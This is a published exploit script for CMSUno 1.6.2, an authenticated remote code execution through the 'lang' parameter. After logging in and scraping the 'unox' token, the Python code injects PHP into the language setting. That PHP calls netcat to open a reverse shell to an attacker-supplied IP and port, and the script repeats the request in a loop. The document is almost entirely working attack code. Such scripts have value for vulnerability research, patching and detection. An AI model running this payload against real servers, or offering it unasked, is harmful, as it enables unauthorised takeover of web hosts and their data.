CMSUno 1.6.2 Remote Code Execution

`# Exploit Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)  
# Google Dork: N/A  
# Date: 2020.09.30  
# Exploit Author: Fatih Çelik  
# Vendor Homepage: https://github.com/boiteasite/cmsuno/  
# Software Link: https://github.com/boiteasite/cmsuno/  
# Blog: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html  
# Version: 1.6.2  
# Tested on: Kali Linux 2020.2  
  
import requests  
from bs4 import BeautifulSoup  
import lxml  
import json  
  
username = input("username: ")  
password = input("password: ")  
root_url = input("Root URL: http://192.168.1.9/cmsuno --> ")  
listener_ip = input("Your ip: ")  
listener_port = input("Your port for reverse shell: ")  
  
login_url = root_url + "/uno.php"  
vulnerable_url = root_url + "/uno/central.php"  
  
session = requests.Session()  
request = session.get(login_url)  
  
# Get the unox value  
soup = BeautifulSoup(request.text,"lxml")  
unox = soup.find("input",{'name':'unox'})['value']  
  
# Login   
body = {"unox":unox,"user":username,"pass":password}  
session.post(login_url, data=body)  
  
# Get the second unox value  
request = session.get(login_url)  
unox = soup.find("input",{'name':'unox'})['value']  
  
# Exploit  
header = {  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",  
"Accept":"*/",  
"Accept-Encoding": "gzip, deflate",  
"X-Requested-With": "XMLHttpRequest",  
"Origin": login_url,  
"Connection": "close",  
"Referer": login_url  
}  
  
payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,listener_port)  
  
while True:  
body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload)  
session.post(vulnerable_url, data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)  
request = session.get(login_url)  
text = request.text  
soup = BeautifulSoup(text,"lxml")  
script = soup.findAll('script')[1].string  
data = script.split("Unox='")[1]  
unox = data.split("',")[0]  
  
`